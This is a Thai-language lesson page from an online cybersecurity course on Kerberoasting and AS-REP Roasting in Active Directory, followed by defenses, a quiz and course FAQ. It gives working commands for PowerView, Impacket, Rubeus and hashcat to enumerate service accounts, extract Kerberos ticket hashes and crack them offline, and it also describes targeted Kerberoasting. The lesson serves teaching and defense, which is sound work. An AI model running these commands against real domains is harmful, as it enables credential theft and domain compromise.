Kerberoasting และ AS-REP Roasting
ขอตั๋วบริการ Kerberos และถอดรหัสแบบออฟไลน์ด้วย Hashcat
Kerberoasting และ AS-REP Roasting เป็นบทเรียน Cyber Security Academy ฟรีบน CoddyKit นี่คือบทเรียนที่ 3 จากทั้งหมด 4 บทเรียน คุณสามารถอ่านบทเรียนทั้งหมดด้านล่างฟรี — จากนั้นลองปฏิบัติด้วยตัวคุณเองในเบราว์เซอร์พร้อมตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7 บทเรียนนี้เป็นส่วนหนึ่งของเส้นทางการเรียน Cyber Security Academy และความก้าวหน้าของคุณจะซิงค์ข้ามเว็บและแอป CoddyKit คอร์ส Cyber Security Academy มีบทเรียนทั้งหมด 4 บทเรียน
การเข้ารหัสตั๋วเคอร์เบอรอส
ตั๋วบริการเข้ารหัสด้วยแฮชรหัสผ่านของบัญชีบริการ ผู้ใช้ทุกคนในโดเมนสามารถขอตั๋วบริการสำหรับ SPN ใดก็ได้ หากบัญชีบริการใช้รหัสผ่านที่ไม่รัดกุม ก็สามารถแคร็กตั๋วแบบออฟไลน์ได้
Kerberoasting คืออะไร
การแคร็ก Kerberos จะขอตั๋วบริการสำหรับบัญชีที่มี Service Principal Names (SPN) ดึงตั๋วที่เข้ารหัสออกมา แล้วแคร็กแบบออฟไลน์ด้วยแฮชแคต ไม่ต้องใช้สิทธิ์ระดับสูง ผู้ใช้คนใดก็ตามในโดเมนก็ทำได้
# Steps:
# 1. Find accounts with SPNs
# 2. Request their service tickets
# 3. Extract ticket hashes
# 4. Crack with Hashcatการค้นหา SPN
แจกแจงบัญชีบริการทั้งหมดที่มี SPN โดยใช้ PowerView, อิมแพ็กเก็ต หรือเครื่องมือ AD ดั้งเดิม SPN จะเชื่อมโยงบัญชีบริการเข้ากับบริการของบัญชีนั้น
# PowerView (Windows)
Get-DomainUser -SPN
Get-NetUser -SPN | select name,serviceprincipalname
# Impacket (Linux)
GetUserSPNs.py CORP/user:pass@dc.corp.com
# Native LDAP query
ldapsearch -H ldap://dc -b "DC=corp,DC=com" \
"(servicePrincipalName=*)" cn servicePrincipalNameการขอและดึงตั๋ว
รูเบียส (วินโดวส์) และ GetUserSPNs ของอิมแพ็กเก็ต (ลินุกซ์) ต่างก็ใช้ขอตั๋วและส่งออกตั๋วในรูปแบบที่นำไปแคร็กได้
# Rubeus (Windows)
Rubeus.exe kerberoast /format:hashcat /output:hashes.txt
# Impacket (Linux)
GetUserSPNs.py CORP/user:pass@dc.corp.com \
-request -outputfile hashes.txtการแคร็กด้วยแฮชแคต
แฮชจากการแคร็ก Kerberos ใช้โหมด 13100 (TGS-REP ของ Kerberos 5) ควรใช้รายการคำรหัสผ่านที่มีคุณภาพพร้อมกฎการแปลงเพื่อให้มีประสิทธิภาพสูงสุด
# Crack TGS-REP hashes
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
# With rules for better coverage
hashcat -m 13100 hashes.txt rockyou.txt -r best64.rule
# AES tickets: mode 19700 (AES128) or 19800 (AES256)AS-REP Roasting คืออะไร
การแคร็ก AS-REP มุ่งเป้าไปที่บัญชีที่เปิดใช้ตัวเลือก ไม่ต้องใช้การพิสูจน์ตัวตนล่วงหน้าของเคอร์เบอรอส AS จะส่ง TGT ที่เข้ารหัสด้วยแฮชของผู้ใช้กลับมา ทำให้ขอได้โดยไม่ต้องทราบรหัสผ่านและแคร็กแบบออฟไลน์ได้
การค้นหาบัญชีที่ปิดใช้การพิสูจน์ตัวตนล่วงหน้า
บัญชีที่ไม่ใช้การพิสูจน์ตัวตนล่วงหน้าเป็นการตั้งค่าผิดพลาด ซึ่งมักหลงเหลือจากแอปพลิเคชันรุ่นเก่า สามารถแจกแจงบัญชีเหล่านี้ด้วย PowerView หรือ GetNPUsers
# PowerView
Get-DomainUser -PreauthNotRequired
# Impacket GetNPUsers (no password needed!)
GetNPUsers.py CORP/ -usersfile users.txt \
-dc-ip dc.corp.com -format hashcat -outputfile asrep.txt
# Rubeus
Rubeus.exe asreproast /format:hashcat /output:asrep.txtการแคร็กแฮช AS-REP
แฮช AS-REP ใช้โหมด 18200 ของแฮชแคต กระบวนการแคร็กเหมือนกับการแคร็ก Kerberos คือการโจมตีด้วยพจนานุกรมแบบออฟไลน์กับการตอบกลับ AS ที่เข้ารหัสไว้
# Crack AS-REP hashes
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
# With rules:
hashcat -m 18200 asrep.txt rockyou.txt -r best64.ruleการประเมินผลกระทบ
รหัสผ่านของบัญชีบริการที่แคร็กได้มักมีสิทธิ์สูง เช่น บัญชีบริการที่ใช้เรียกใช้ฐานข้อมูล ซอฟต์แวร์สำรองข้อมูล หรือระบบแลกเปลี่ยนอาจเป็นผู้ดูแลโดเมน บัญชี AS-REP มักถูกมองข้ามและมีการรักษาความปลอดภัยที่ไม่รัดกุม
การแคร็ก Kerberos แบบเจาะจงเป้าหมาย
หากมีสิทธิ์เขียนออบเจ็กต์ คุณสามารถเพิ่ม SPN ให้บัญชีมูลค่าสูงชั่วคราว แล้วแคร็ก Kerberos ดึงแฮชมาแคร็ก จากนั้นลบ SPN ออกได้ วิธีนี้ทำให้มุ่งเป้าไปยังบัญชีที่ต้องการได้ตามต้องการ
การป้องกัน
การป้องกันการแคร็ก Kerberos ควรใช้รหัสผ่านแบบสุ่มที่ยาวอย่างน้อย 25 อักขระกับบัญชีบริการ หรือใช้ Group Managed Service Accounts (gMSA) ซึ่งดีกว่าและมีรหัสผ่านยาว 120 อักขระที่เปลี่ยนโดยอัตโนมัติ ส่วน AS-REP ควรเปิดใช้การพิสูจน์ตัวตนล่วงหน้ากับทุกบัญชี
ตรวจสอบความเข้าใจ
แอตทริบิวต์ใดของบัญชีที่จำเป็นต่อการโจมตีแบบแคร็ก AS-REP
สรุป: การแคร็ก Kerberos และ AS-REP
การโจมตีทั้งสองแบบใช้ประโยชน์จากจุดอ่อนของการเข้ารหัสตั๋วเคอร์เบอรอสเพื่อแคร็กรหัสผ่านแบบออฟไลน์โดยไม่ทำให้บัญชีถูกล็อก การแคร็ก Kerberos มุ่งเป้าไปที่บัญชี SPN (ผู้ใช้คนใดก็ตามในโดเมนก็ทำได้) ส่วนการแคร็ก AS-REP มุ่งเป้าไปที่บัญชีที่ไม่ใช้การพิสูจน์ตัวตนล่วงหน้า (ไม่ต้องมีข้อมูลรับรอง) ควรป้องกันด้วย gMSA สำหรับบัญชีบริการและบังคับใช้การพิสูจน์ตัวตนล่วงหน้ากับผู้ใช้ทุกคน
คำถามที่พบบ่อย
บทเรียน “Kerberoasting และ AS-REP Roasting” ฟรีหรือไม่
ใช่ — ข้อความเต็มของ “Kerberoasting และ AS-REP Roasting” ฟรีให้อ่านที่นี่บนเว็บ เพื่อปฏิบัติแบบโต้ตอบ (ตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7) และปลดล็อคส่วนที่เหลือของคอร์ส Cyber Security Academy ให้อัปเกรดเป็น CoddyKit PRO คอร์ส Cyber Security Academy มีบทเรียนทั้งหมด 4 บทเรียน
คุณจะเรียนรู้อะไรในบทเรียน “Kerberoasting และ AS-REP Roasting”
ขอตั๋วบริการ Kerberos และถอดรหัสแบบออฟไลน์ด้วย Hashcat คุณปฏิบัติ Cyber Security Academy ด้วยโค้ดที่ใช้งานได้จริงที่คุณเรียกใช้โดยตรงในเบราว์เซอร์ และติวเตอร์ AI ตลอด 24/7 ตอบคำถามของคุณขณะที่คุณไปผ่านบทเรียน
คุณต้องมีประสบการณ์ก่อนที่จะเริ่มเรียน Cyber Security Academy หรือไม่
ไม่จำเป็นต้องมีประสบการณ์มาก่อน Cyber Security Academy บน CoddyKit ออกแบบมาสำหรับผู้เริ่มต้นไปจนถึงผู้เรียนขั้นสูง คุณสามารถเริ่มต้นที่นี่หรือเริ่มจากตัวแรกและเรียนด้วยความเร็วของคุณเอง นี่คือบทเรียนที่ 3 จากทั้งหมด 4 บทเรียน
บทเรียน “Kerberoasting และ AS-REP Roasting” ใช้เวลานานแค่ไหน
บทเรียน CoddyKit ส่วนใหญ่ใช้เวลาประมาณ 5–10 นาที แต่ละบทเรียนจึงสั้นและเป็นแบบโต้ตอบ คุณสามารถก้าวหน้าอย่างต่อเนื่องและกลับมาเรียนต่อจากตรงที่เพิ่งหยุดบนเว็บและแอปได้เลย
ฉันเขียนและรันโค้ดในบทเรียน Cyber Security Academy นี้ได้ไหม
ได้ บทเรียน Cyber Security Academy ทุกบทมีตัวแก้ไขโค้ดในตัว คุณจึงเขียนและรันโค้ดจริงได้เลยในเบราว์เซอร์ และได้รับข้อเสนอแนะจาก AI ในทันที — ไม่ต้องติดตั้งในเครื่องของคุณ
บทเรียนทั้งหมดในหลักสูตรนี้
- การยืนยันตัวตน Windows: NTLM และ Kerberos
- การโจมตี Pass-the-Hash และ Pass-the-Ticket
- Kerberoasting และ AS-REP Roasting
- การเสริมความปลอดภัย Active Directory